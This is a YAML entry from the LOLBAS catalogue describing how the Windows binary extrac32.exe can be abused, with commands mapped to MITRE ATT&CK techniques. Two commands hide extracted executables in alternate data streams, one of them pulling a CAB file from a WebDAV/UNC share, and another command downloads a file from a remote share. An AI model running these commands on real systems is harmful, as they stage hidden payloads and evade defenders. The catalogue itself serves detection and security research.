LOLBAS/yml/OSBinaries/Extrac32.yml

60 lines
2.4 KiB
YAML

---
Name: Extrac32.exe
Description:
Author: 'Oddvar Moe'
Created: 2018-05-25
Commands:
- Command: extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
Description: Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.
Usecase: Extract data from cab file and hide it in an alternate data stream.
Category: ADS
Privileges: User
MitreID: T1096
MitreLink: https://attack.mitre.org/wiki/Technique/T1096
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
- Command: extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe
Description: Extracts the source CAB file on an unc path into an Alternate Data Stream (ADS) of the target file.
Usecase: Extract data from cab file and hide it in an alternate data stream.
Category: ADS
Privileges: User
MitreID: T1096
MitreLink: https://attack.mitre.org/wiki/Technique/T1096
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
- Command: extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
Description: Copy the source file to the destination file and overwrite it.
Usecase: Download file from UNC/WEBDav
Category: Download
Privileges: User
MitreID: T1105
MitreLink: https://attack.mitre.org/wiki/Technique/T1105
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
- Command: extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\user\Desktop\calc.exe
Description: Command for copying calc.exe to another folder
Usecase: Copy file
Category: Copy
Privileges: User
MitreID: T1105
MitreLink: https://attack.mitre.org/wiki/Technique/T1105
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Full_Path:
- Path: C:\Windows\System32\extrac32.exe
- Path: C:\Windows\SysWOW64\extrac32.exe
Code_Sample:
- Code:
Detection:
- IOC:
Resources:
- Link: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
- Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
- Link: https://twitter.com/egre55/status/985994639202283520
Acknowledgement:
- Person: egre55
Handle: '@egre55'
- Person: Oddvar Moe
Handle: '@oddvarmoe'
- Person: Hai Vaknin(Lux
Handle: '@VakninHai'
- Person: Tamir Yehuda
Handle: '@tim8288'
---